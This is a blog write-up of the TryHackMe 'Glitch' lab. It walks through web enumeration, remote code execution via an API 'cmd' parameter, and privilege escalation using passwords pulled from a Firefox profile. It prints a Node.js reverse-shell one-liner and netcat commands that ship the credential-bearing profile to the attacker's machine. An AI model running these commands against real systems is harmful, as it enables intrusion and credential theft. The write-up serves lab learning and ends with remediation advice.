Glitch Write-Up


Glitch is a room on TryHackMe. It has “Easy” difficulty. Initial foothold on the machine could be obtained by a remote code execution flaw in the API. Privilege escalation to root could be accomplished by reused credentials that were stored inside a Firefox profile.


The enumeration started with Nmap. It revealed that Nginx was running on port 80.

Nmap scan output

The landing page of the web server just displayed a glitched image. The page had the title “not allowed”. There was no robots.txt. The site was utilizing Node.js and Express as backend frameworks.

By inspecting the source code of the web page, I could find an API endpoint.

Function for calling the API endpoint

The API endpoint was “/api/access”. Calling that endpoint will give token which is Base 64 encoded.

After decoding it with CyberChef, the API key for the web app could be obtained.

Furthermore I could observe that the web app is setting a cookie with the name “token”. So we can assume that this key is used as value for the cookie.

To enumerate further endpoints Gobuster was used. First of all non API endpoints were enumerated.

gobuster dir -w /usr/share/wordlists/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -u -o gobuster_medium.txt

This resulted in the following endpoints:

/img                  (Status: 301) [Size: 173] [--> /img/]
/js (Status: 301) [Size: 171] [--> /js/]
/secret (Status: 200) [Size: 724]
/Secret (Status: 200) [Size: 724]

The “secret” endpoint was just a rabbit hole. After setting the cookie and opening the site, multiple pictures of a rabbit was displayed:

In the next step further API endpoints were enumerated with Gobuster. The wordlist “common.txt” was used this time.

gobuster dir -w /usr/share/wordlists/dirb/common.txt -u

This revealed another endpoint called “items”:

/access               (Status: 200) [Size: 36]
/items (Status: 200) [Size: 169]

The “items” endpoint was just displaying a object with “sins”, “errors” and “deaths”.

By fuzzing for another POST parameter, I could find that the “cmd” parameter is valid.

wfuzz -XPOST -w /usr/share/wordlists/SecLists/Discovery/Web-Content/burp-parameter-names.txt --hh 45

This “cmd” parameter does expect JavaScript code and runs it. This was my way in.

Initial Access

The following JavaScript reverse shell was used to connect to the attacker machine:

require('child_process').exec('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 4444 >/tmp/f')

This payload was URL encoded and then used in the request.

Prior sending the request a Netcat listener was started on the attacker machine. After sending the request the victim connected to the attacker.

Privilege Escalation

In the home folder of the user “user” there was a “.firefox” directory, which contains the Firefox profile.

To further investigate this directory, a tar archive was created:

tar xf out.tar .firefox

After that it was transferred to the attacker by using Netcat. First of all another Netcat listener was started on port 1234 on the attacker machine:

nc -lvnp 1234 > out.tar

Next the file was transferred by running the following command on the target:

nc -w 3 1234 < out.tar

The archive was then extracted and the resulting directory was renamed:

tar xf out.tar
mv .firefox firefox

To get the passwords from the Firefox profile, the Python script from this repository was used. It was possible to extract the password of the user “v0id” which is also a user on the box and can run commands as the root user with “doas”.

Getting a root shell

First a TTY shell was spawned with Python:

python3 -c 'import pty; pty.spawn("/bin/bash")'

Next the user could be switched to “v0id” because of password reuse.

Later a root shell could be spawned by running “doas”.


The principle security through obscurity is not a good security practice. It just will make an attack take longer and won’t prevent it. So the “cmd” parameter should be removed. Furthermore the hard coded API key should be removed. Also the password policy should prevent users from reusing their password. The user “v0id” should change the password.




Passionate about Cyber Security. I am publishing CTF writeups and Cybersecurity content!

Love podcasts or audiobooks? Learn on the go with our new app.

Recommended from Medium

Objects vs Arrays

Introductory Tutorial to React: Part 1

Learning to Code, in more languages

React + GraphQL: Extracting Queries from components

Building a React component library with styled-components: Input Field

This is Confusing

Create Interactive WebGL-powered Buttons


Get the Medium app

A button that says 'Download on the App Store', and if clicked it will lead you to the iOS App store
A button that says 'Get it on, Google Play', and if clicked it will lead you to the Google Play store


Passionate about Cyber Security. I am publishing CTF writeups and Cybersecurity content!

More from Medium

IGNITE — TryHackMe WriteUp

THM — Lockdown Write-Up

HackMyVM: Blog writeup

How to create a Vulnerable Box